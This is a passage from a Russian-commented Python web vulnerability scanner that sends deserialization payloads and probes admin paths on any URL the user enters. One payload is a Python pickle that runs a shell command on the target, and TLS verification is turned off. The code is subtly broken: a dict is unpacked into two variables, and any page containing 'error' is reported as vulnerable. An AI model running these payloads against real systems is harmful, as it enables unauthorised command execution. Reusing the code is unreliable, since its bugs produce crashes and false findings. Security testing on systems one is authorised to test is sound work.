            logging.info(f"    [-] Уязвимость Open Redirect не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов Open Redirect ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость Open Redirect не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_insecure_deserialization(url, params, headers):
    """
    Функция для проверки уязвимости Insecure Deserialization
    """
    logging.info("[*] Запуск проверки Insecure Deserialization...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые Insecure Deserialization payload'ы
    base_payloads = [
        {
            "description": "PHP сериализация с объектом",
            "payload": "O:8:\"stdClass\":1:{s:3:\"foo\";s:3:\"bar\";}"
        },
        {
            "description": "Java сериализация с объектом",
            "payload": "rO0ABXNyABpqYXZhLnV0aWwuT2JqZWN0AAAAAAAAAAECAAJMAARmb28="
        },
        {
            "description": "Python pickle с объектом",
            "payload": "cos\nsystem\n(S'ls -la'\ntR."
        },
        # Дополнительные payload'ы
        {
            "description": "PHP сериализация с эксплуатацией",
            "payload": "O:11:\"ExploitClass\":1:{s:3:\"cmd\";s:4:\"calc\";}"
        },
        {
            "description": "Java сериализация с рендерингом",
            "payload": "rO0ABXNyACpqYXZhLnV0aWwuQXJyYXlMaXN0sUZra9Z0MAAAABAgAAeHIAA2Jhcg=="
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        # Для бинарных или Base64 payload'ов могут потребоваться специальные обходы
        # Здесь мы добавляем только URL encoding для простоты
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "Insecure Deserialization",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] Insecure Deserialization Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка на ошибки десериализации или подозрительное поведение
                error_patterns = [
                    re.compile(r"unserialize", re.IGNORECASE),
                    re.compile(r"failed to deserialize", re.IGNORECASE),
                    re.compile(r"could not convert", re.IGNORECASE),
                    re.compile(r"TypeError", re.IGNORECASE),
                ]

                for pattern in error_patterns:
                    if pattern.search(content):
                        result["vulnerable"] = True
                        result["details"] = f"Найдена ошибка десериализации: {pattern.pattern}"
                        logging.info(f"    [+] Уязвимость Insecure Deserialization обнаружена с payload: {description}")
                        vulnerable = True
                        return result

                # Дополнительная проверка на реакцию сервера на неожиданные данные
                if "initialized" in content.lower() or "error" in content.lower():
                    result["vulnerable"] = True
                    result["details"] = "Произошла попытка десериализации и обработка данных."
                    logging.info(f"    [+] Уязвимость Insecure Deserialization обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            logging.info(f"    [-] Уязвимость Insecure Deserialization не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов Insecure Deserialization ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость Insecure Deserialization не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


### Функции для Проверок, Не Требующих Параметров ###

def scan_security_headers(url, method, headers):
    """
    Функция для проверки безопасности заголовков
    """
    logging.info("[*] Проверка безопасности заголовков...")
    required_headers = {
        "Content-Security-Policy": "Отсутствует",
        "X-Frame-Options": "Отсутствует",
        "X-Content-Type-Options": "Отсутствует",
        "Strict-Transport-Security": "Отсутствует",
        "Referrer-Policy": "Отсутствует",
        "Feature-Policy": "Отсутствует",
    }
    missing_or_weak = {}
    try:
        if method == 'get':
            response = requests.get(url, headers=headers, timeout=10, verify=False)
        else:
            response = requests.post(url, data={}, headers=headers, timeout=10, verify=False)
        for header, status in required_headers.items():
            value = response.headers.get(header)
            if not value:
                missing_or_weak[header] = "Отсутствует"
            else:
                # Здесь можно добавить дополнительные проверки на силу заголовков
                missing_or_weak[header] = value
        vulnerable = False
        details = ""
        for header, value in missing_or_weak.items():
            if value == "Отсутствует":
                vulnerable = True
                details += f"{header}: {value}\n"
        result = {
            "test_number": "N/A",
            "vulnerability": "Security Headers",
            "description": "Проверка наличия и силы заголовков безопасности",
            "vulnerable": vulnerable,
            "details": details.strip(),
            "response": response.headers
        }
        if vulnerable:
            logging.info("    [+] Обнаружены отсутствующие или слабые заголовки безопасности.")
        else:
            logging.info("    [+] Все важные заголовки безопасности присутствуют.")
        return vulnerable, [result]
    except requests.exceptions.RequestException as e:
        logging.error(f"    [!] Ошибка при запросе: {e}")
        return False, []
    except Exception as ex:
        logging.error(f"    [!] Неожиданная ошибка: {ex}")
        return False, []


def scan_directory_listing(url, method, headers):
    """
    Функция для проверки включения списка директорий
    """
    logging.info("[*] Проверка включения списка директорий (Directory Listing)...")
    vulnerable = False
    results = []
    try:
        if method == 'get':
            response = requests.get(url, headers=headers, timeout=10, verify=False)
        else:
            response = requests.post(url, data={}, headers=headers, timeout=10, verify=False)
        content = response.text
        # Простая проверка на присутствие ссылок в формате href
        if re.search(r'<a href=.*?>', content, re.IGNORECASE):
            vulnerable = True
            details = "Включен список директорий: обнаружены ссылки."
            logging.info("    [+] Включен список директорий.")
            result = {
                "test_number": "N/A",
                "vulnerability": "Directory Listing",
                "description": "Проверка включения списка директорий",
                "vulnerable": vulnerable,
                "details": details,
                "response": content
            }
            results.append(result)
        else:
            logging.info("    [-] Список директорий не включен.")
            result = {
                "test_number": "N/A",
                "vulnerability": "Directory Listing",
                "description": "Проверка включения списка директорий",
                "vulnerable": False,
                "details": "",
                "response": content
            }
            results.append(result)
        return vulnerable, results
    except requests.exceptions.RequestException as e:
        logging.error(f"    [!] Ошибка при запросе: {e}")
        return False, []
    except Exception as ex:
        logging.error(f"    [!] Неожиданная ошибка: {ex}")
        return False, []


def scan_server_info_disclosure(url, method, headers):
    """
    Функция для проверки раскрытия информации о сервере
    """
    logging.info("[*] Проверка раскрытия информации о сервере...")
    vulnerable = False
    results = []
    try:
        if method == 'get':
            response = requests.get(url, headers=headers, timeout=10, verify=False)
        else:
            response = requests.post(url, data={}, headers=headers, timeout=10, verify=False)
        server_header = response.headers.get("Server", "")
        if server_header:
            vulnerable = True
            details = f"Заголовок Server: {server_header}"
            logging.info(f"    [+] Обнаружен заголовок Server: {server_header}")
            result = {
                "test_number": "N/A",
                "vulnerability": "Information Disclosure",
                "description": "Проверка раскрытия информации о сервере через заголовки",
                "vulnerable": vulnerable,
                "details": details,
                "response": response.headers
            }
            results.append(result)
        else:
            logging.info("    [-] Заголовок Server отсутствует или не содержит информации.")
            result = {
                "test_number": "N/A",
                "vulnerability": "Information Disclosure",
                "description": "Проверка раскрытия информации о сервере через заголовки",
                "vulnerable": False,
                "details": "",
                "response": response.headers
            }
            results.append(result)
        return vulnerable, results
    except requests.exceptions.RequestException as e:
        logging.error(f"    [!] Ошибка при запросе: {e}")
        return False, []
    except Exception as ex:
        logging.error(f"    [!] Неожиданная ошибка: {ex}")
        return False, []


def scan_api_endpoints(url, method, headers):
    """
    Функция для проверки заблокированных или недокументированных API-эндпоинтов
    """
    logging.info("[*] Проверка наличия недокументированных API-эндпоинтов...")
    vulnerable = False
    results = []
    # Список распространённых API-эндпоинтов
    potential_endpoints = [
        "/admin", "/api", "/api/v1", "/debug", "/config", "/backup", "/wp-admin", "/phpmyadmin",
        "/admin/config.php", "/manager", "/getProductList"
    ]
    for endpoint in potential_endpoints:
        test_url = urljoin(url, endpoint)
        try:
            if method == 'get':
                response = requests.get(test_url, headers=headers, timeout=10, verify=False)
            else:
                response = requests.post(test_url, data={}, headers=headers, timeout=10, verify=False)
            status_code = response.status_code
            if status_code == 200:
                vulnerable = True
                details = f"Обнаружен эндпоинт: {endpoint} (Status Code: {status_code})"
                logging.info(f"    [+] Обнаружен эндпоинт: {endpoint} (Status Code: {status_code})")
                result = {
                    "test_number": "N/A",
                    "vulnerability": "Information Disclosure",
                    "description": f"Проверка наличия эндпоинта {endpoint}",
                    "vulnerable": vulnerable,
                    "details": details,
                    "response": response.text
                }
                results.append(result)
        except requests.exceptions.RequestException:
            continue
    if not vulnerable:
        logging.info("    [-] Недокументированные API-эндпоинты не обнаружены.")
    return vulnerable, results


### Основная Функция для Выполнения Всех Сканирований ###

def scan_main(url, method, params, headers, vulnerabilities, non_param_vulnerabilities=None):
    """
    Функция для выполнения всех сканирований для заданных уязвимостей
    """
    scan_results = {}
    # Выполнение проверок, требующих параметров
    for vuln_name, vuln_func in vulnerabilities.items():
        logging.info(f"\n=== Проверка на уязвимость: {vuln_name} ===")
        vulnerable, results = vuln_func(url, params, headers)
        scan_results[vuln_name] = {
            "vulnerable": vulnerable,
            "results": results
        }
    # Выполнение проверок, не требующих параметров
    if non_param_vulnerabilities:
        logging.info(f"\n=== Выполнение проверок, не требующих параметров ===")
        for vuln_name, vuln_func in non_param_vulnerabilities.items():
            logging.info(f"\n=== Проверка на уязвимость: {vuln_name} ===")
            vulnerable, results = vuln_func(url, method, headers)
            scan_results[vuln_name] = {
                "vulnerable": vulnerable,
                "results": results
            }
    return scan_results


def main_scan(url):
    """
    Главная функция для выполнения всех сканирований
    """
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',  # Общий тип контента, можно настроить при необходимости
    }

    # Определение методов и уязвимостей для сканирования
    vulnerabilities = {
        "XXE": scan_xxe,
        "SQL Injection": scan_sqli,
        "XSS": scan_xss,
        "RFI": scan_rfi,
        "LFI": scan_lfi,
        "SSRF": scan_ssrf,
        "Command Injection": scan_command_injection,
        "Open Redirect": scan_open_redirect,
        "Insecure Deserialization": scan_insecure_deserialization,
        # Добавьте дополнительные уязвимости и соответствующие функции здесь
    }

    # Определение уязвимостей, не требующих параметров
    non_param_vulnerabilities = {
        "Security Headers": scan_security_headers,
        "Directory Listing": scan_directory_listing,
        "Information Disclosure": scan_server_info_disclosure,
        "Undocumented API Endpoints": scan_api_endpoints,
    }

    # Определение метода запроса
    method = input("Выберите метод запроса (GET/POST): ").strip().lower()
    if method not in ['get', 'post']:
        logging.error("Некорректный метод. Пожалуйста, выберите 'GET' или 'POST'.")
        sys.exit(1)

    params = {}
    has_params = False
    if method == 'get':
        parsed_url = urlparse(url)
        query_params = parse_qs(parsed_url.query)
        params = {k: v[0] for k, v in query_params.items()}
        has_params = bool(params)
        if not has_params:
            logging.info("GET-запрос без параметров. Будут произведены только проверки, не требующие параметров.")
    else:
        # Для POST-запросов предполагаем, что параметры будут запрошены у пользователя
        # В реальных случаях можно автоматизировать получение параметров
        while True:
            param = input("Введите имя параметра (или нажмите Enter для завершения): ").strip()
            if not param:
                break
            value = input(f"Введите значение для параметра '{param}': ").strip()
            params[param] = value
        has_params = bool(params)

    # Если метод GET и параметры отсутствуют, устанавливаем пустой словарь
    if not has_params and method == 'get':
        params = {}

    if not has_params and method == 'post':
        logging.error("POST-запрос без параметров. Сканирование некоторых уязвимостей может быть ограничено.")

    logging.info(f"URL: {url}")
    logging.info(f"Метод: {method.upper()}")
    logging.info(f"Параметры: {params if has_params else 'Отсутствуют'}")

    # Выполнение сканирования для каждой уязвимости
    scan_results = {}
    if has_params:
        scan_results = scan_main(url, method, params, headers, vulnerabilities)
        # Если уязвимостей с параметрами нет, но пользователь выбрал GET без параметров, дополнительные проверки будут
        # выполняться ниже. Если параметры присутствуют, также выполняем проверки без параметров.
        # Это может быть полезно для полного аудита.
        scan_results_non_param, extra_results = scan_main(url, method, {}, headers, {}, non_param_vulnerabilities)
        for vuln, data in scan_results_non_param.items():
            # Объединяем результаты
            if vuln in scan_results:
                scan_results[vuln]["vulnerable"] = scan_results[vuln]["vulnerable"] or data["vulnerable"]
                scan_results[vuln]["results"].extend(data["results"])
            else:
                scan_results[vuln] = data
    else:
        # Выполняем только проверки, не требующие параметров
        scan_results = scan_main(url, method, params, headers, {}, non_param_vulnerabilities)

    # Сохранение результатов в файл
    with open("vulnerability_scan_results.txt", "w", encoding="utf-8") as f:
        for vuln, data in scan_results.items():
            f.write(f"=== Уязвимость: {vuln} ===\n")
            f.write(f"Уязвимость обнаружена: {'Да' if data['vulnerable'] else 'Нет'}\n")
            for res in data['results']:
                f.write(f"Тест {res['test_number']}: {res['description']}\n")
                f.write(f"    Уязвимость обнаружена: {'Да' if res['vulnerable'] else 'Нет'}\n")
                if res['details']:
                    f.write(f"    Детали: {res['details']}\n")
                if res['vulnerable']:
                    f.write(f"    Ответ сервера:\n{res['response']}\n")
                f.write("\n")
            f.write("\n\n")

    # Итоговый вывод
    for vuln, data in scan_results.items():
        if data['vulnerable']:
            logging.info(f"[+] Уязвимость {vuln} обнаружена.")
        else:
            logging.info(f"[-] Уязвимость {vuln} не обнаружена.")


### Включение Всех Функций для Проверок ###

# Функции для XXE, SQL Injection, XSS, RFI, LFI, SSRF, Command Injection, Open Redirect, Insecure Deserialization
# (Эти функции уже описаны выше и включены в скрипт полностью)

### Запуск Скрипта ###

if __name__ == "__main__":
    target_url = input("Введите URL для сканирования (например, https://example.com/login): ").strip()
    # Проверка корректности URL
    parsed_url = urllib.parse.urlparse(target_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        logging.error("[-] Некорректный URL. Пожалуйста, введите полный URL, включая схему (http:// или https://).")
        sys.exit(1)

    main_scan(target_url)